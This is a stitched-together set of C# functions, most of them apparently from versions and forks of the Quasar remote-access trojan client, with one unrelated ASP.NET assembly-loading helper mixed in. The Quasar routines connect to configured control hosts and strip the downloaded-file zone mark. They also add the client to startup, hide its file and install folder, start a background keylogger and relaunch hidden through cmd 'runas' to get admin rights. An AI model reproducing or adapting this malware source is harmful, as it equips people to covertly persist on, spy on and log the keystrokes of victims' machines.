public static void HandleDoAskElevate(Packets.ServerPackets.DoAskElevate command, Client client)
{
if (WindowsAccountHelper.GetAccountType() != "Admin")
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = "cmd",
Verb = "runas",
Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
MutexHelper.CloseMutex(); // close the mutex so our new process will run
try
{
Process.Start(processStartInfo);
}
catch
{
new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client);
MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex
return;
}
Program.ConnectClient.Exit();
}
else
{
new Packets.ClientPackets.SetStatus("Process already elevated.").Execute(client);
}
}
// Assembly.LoadFrom fails in webgarden scenario(2 processes), the mutex is cross process and avoids the error
// Note: LoadFrom only fails because it needs to implicity do copy the dll to temp folder(shadow copy)
// if in the future we decide to drop the use of shadow copy, we can remove the mutexes
protected static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
{
string asmName = new AssemblyName(args.Name).Name;
string assemblyToLoad = Path.Combine(_sharedPath, asmName + ".DLL");
if (File.Exists(assemblyToLoad))
{
Mutex mutex = MutexHelper.CreateMutex("OSMutex-{" + assemblyToLoad.GetHashCode().ToString() + "}", /*globalMutex*/ true);
bool adquired = false;
try {
adquired = mutex.WaitOne();
Assembly assembly = Assembly.LoadFrom(assemblyToLoad);
return(assembly);
} catch (IOException) {
// Ignore IO Exceptions. AssemblyResolve should not fail on those errors.
return(null);
} finally {
if (adquired)
{
mutex.ReleaseMutex();
}
}
}
return(null);
}
private static bool Initialize()
{
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
{
return(false);
}
AES.SetDefaultKey(Settings.PASSWORD);
ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
GeoLocationHelper.Initialize();
DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);
if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
{
WindowsAccountHelper.StartUserIdleCheckThread();
if (Settings.STARTUP)
{
if (!Başlangıç.AddToStartup())
{
ClientVerisi.AddToStartupFailed = true;
}
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
var logger = new Keylogger(15000);
Application.Run(_msgLoop);
})
{
IsBackground = true
}.Start();
}
ConnectClient = new KuuhakuClient(hosts);
return(true);
}
MutexHelper.CloseMutex();
ClientYükleyici.Install(ConnectClient);
return(false);
}
private static void Initialize()
{
if (!MutexHelper.CreateMutex(Settings.MUTEX))
{
ClientData.Disconnect = true; // process with same mutex is already running
}
if (ClientData.Disconnect)
{
return;
}
AES.PreHashKey(Settings.PASSWORD);
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
GeoLocationHelper.Initialize();
if (_hosts.IsEmpty)
{
ClientData.Disconnect = true; // no hosts to connect
}
if (ClientData.Disconnect)
{
return;
}
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
{
WindowsAccountHelper.StartUserIdleCheckThread();
if (Settings.STARTUP && Settings.INSTALL)
{
if (!Startup.AddToStartup())
{
ClientData.AddToStartupFailed = true;
}
}
InitializeClient();
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
Keylogger logger = new Keylogger(15000);
Application.Run(_msgLoop);
}).Start();
}
}
else
{
MutexHelper.CloseMutex();
ClientInstaller.Install(ConnectClient);
}
}
private bool Initialize()
{
if (!MutexHelper.CreateMutex("123AKs82kA,ylAo2kAlUS2kYkala!"))
{
return(false);
}
Thread staThread = new Thread(() =>
{
_result = GetExplorerSelectedFiles();
});
staThread.SetApartmentState(ApartmentState.STA);
staThread.Start();
staThread.Join();
return(true);
}
private static bool Initialize()
{
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
// process with same mutex is already running
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
{
return(false);
}
Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
GeoLocationHelper.Initialize();
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
{
WindowsAccountHelper.StartUserIdleCheckThread();
if (Settings.STARTUP)
{
if (!Startup.AddToStartup())
{
ClientData.AddToStartupFailed = true;
}
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
{
try
{
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
di.Attributes |= FileAttributes.Hidden;
}
catch (Exception)
{
}
}
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
Keylogger logger = new Keylogger(15000);
Application.Run(_msgLoop);
})
{
IsBackground = true
}.Start();
}
ConnectClient = new QuasarClient(hosts);
return(true);
}
else
{
MutexHelper.CloseMutex();
ClientInstaller.Install(ConnectClient);
return(false);
}
}
private static bool Initialize()
{
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
// process with same mutex is already running
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
{
return(false);
}
ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
GeoLocationHelper.Initialize();
// Request elevation
if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = "cmd",
Verb = "runas",
Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
MutexHelper.CloseMutex(); // close the mutex so our new process will run
bool success = true;
try
{
Process.Start(processStartInfo);
}
catch
{
success = false;
MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex
}
if (success)
{
ConnectClient.Exit();
}
}
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
{
WindowsAccountHelper.StartUserIdleCheckThread();
if (Settings.STARTUP)
{
if (!Startup.AddToStartup())
{
ClientData.AddToStartupFailed = true;
}
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
{
try
{
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
di.Attributes |= FileAttributes.Hidden;
}
catch (Exception)
{
}
}
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
Keylogger logger = new Keylogger(15000);
Application.Run(_msgLoop);
})
{
IsBackground = true
}.Start();
}
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
return(true);
}
MutexHelper.CloseMutex();
ClientInstaller.Install(ConnectClient);
return(false);
}